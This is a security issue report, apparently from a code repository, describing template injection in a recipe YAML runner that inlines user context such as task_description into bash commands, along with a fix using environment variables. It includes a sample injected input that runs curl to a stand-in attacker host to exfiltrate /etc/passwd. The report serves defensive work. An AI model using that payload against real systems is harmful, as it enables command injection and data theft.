Security Issue: Template Injection via Inline Context Substitution
Severity: Medium-High (requires context awareness to exploit)
Tracking ID: REQ-SEC-001
Introduced in: Recipe YAML template system
Discovered in: PR #2973 code review
Problem
The recipe runner substitutes {{variable}} placeholders via text find-and-replace before shell parsing. This means user-provided context values like task_description are inlined directly into bash command strings.
Current code (simplified):
TASK_DESC=$(printf '%s' '{{task_description}}')
After substitution, if task_description = "it's broken":
TASK_DESC=$(printf '%s' 'it's broken')
# ^ single-quote terminates the string here
An adversarial input like foo' ; curl attacker.example/exfil?$(cat /etc/passwd|base64) ; echo ' would execute the curl command during the shell assignment.
Impact
- Affects all recipe YAML files that inline
{{task_description}} or other user-provided context values into shell commands
- The
sed whitelist sanitization in the branch name pipeline runs after the shell assignment, providing no protection at the injection point
- Context values
{{worktree_dir}}, {{branch_prefix}}, {{issue_number}} also need auditing
Required Fix
The recipe runner must inject user-provided context values as environment variables rather than as inline text substitutions into shell source. After the fix, recipes would access values via:
TASK_DESC="$AMPLIHACK_TASK_DESCRIPTION"
And the runner would set AMPLIHACK_TASK_DESCRIPTION=<value> in the subprocess environment before executing the shell command.
Workaround (current state)
- Single-quote wrapping (
'{{task_description}}') prevents word-splitting and $() injection but is exploitable via single-quote characters in the input
- Unquoted (
{{task_description}}) is exploitable via spaces (word-splitting) and all shell metacharacters
- Neither form is fully safe until the runner is fixed
Files Affected
amplifier-bundle/recipes/default-workflow.yaml — all usages of {{task_description}}
amplifier-bundle/recipes/consensus-workflow.yaml — all usages of {{task_description}}
- All other recipe YAML files using
{{variable}} substitution in bash steps
Acceptance Criteria
Related
Security Issue: Template Injection via Inline Context Substitution
Severity: Medium-High (requires context awareness to exploit)
Tracking ID: REQ-SEC-001
Introduced in: Recipe YAML template system
Discovered in: PR #2973 code review
Problem
The recipe runner substitutes
{{variable}}placeholders via text find-and-replace before shell parsing. This means user-provided context values liketask_descriptionare inlined directly into bash command strings.Current code (simplified):
TASK_DESC=$(printf '%s' '{{task_description}}')After substitution, if
task_description = "it's broken":An adversarial input like
foo' ; curl attacker.example/exfil?$(cat /etc/passwd|base64) ; echo 'would execute the curl command during the shell assignment.Impact
{{task_description}}or other user-provided context values into shell commandssedwhitelist sanitization in the branch name pipeline runs after the shell assignment, providing no protection at the injection point{{worktree_dir}},{{branch_prefix}},{{issue_number}}also need auditingRequired Fix
The recipe runner must inject user-provided context values as environment variables rather than as inline text substitutions into shell source. After the fix, recipes would access values via:
TASK_DESC="$AMPLIHACK_TASK_DESCRIPTION"And the runner would set
AMPLIHACK_TASK_DESCRIPTION=<value>in the subprocess environment before executing the shell command.Workaround (current state)
'{{task_description}}') prevents word-splitting and$()injection but is exploitable via single-quote characters in the input{{task_description}}) is exploitable via spaces (word-splitting) and all shell metacharactersFiles Affected
amplifier-bundle/recipes/default-workflow.yaml— all usages of{{task_description}}amplifier-bundle/recipes/consensus-workflow.yaml— all usages of{{task_description}}{{variable}}substitution in bash stepsAcceptance Criteria
AMPLIHACK_TASK_DESCRIPTION){{variable}}syntax either escapes values before injection OR is deprecated in favour of env-var references$AMPLIHACK_TASK_DESCRIPTION(or equivalent){{variable}}usages in recipe bash steps completedRelated
step-04-setup-worktree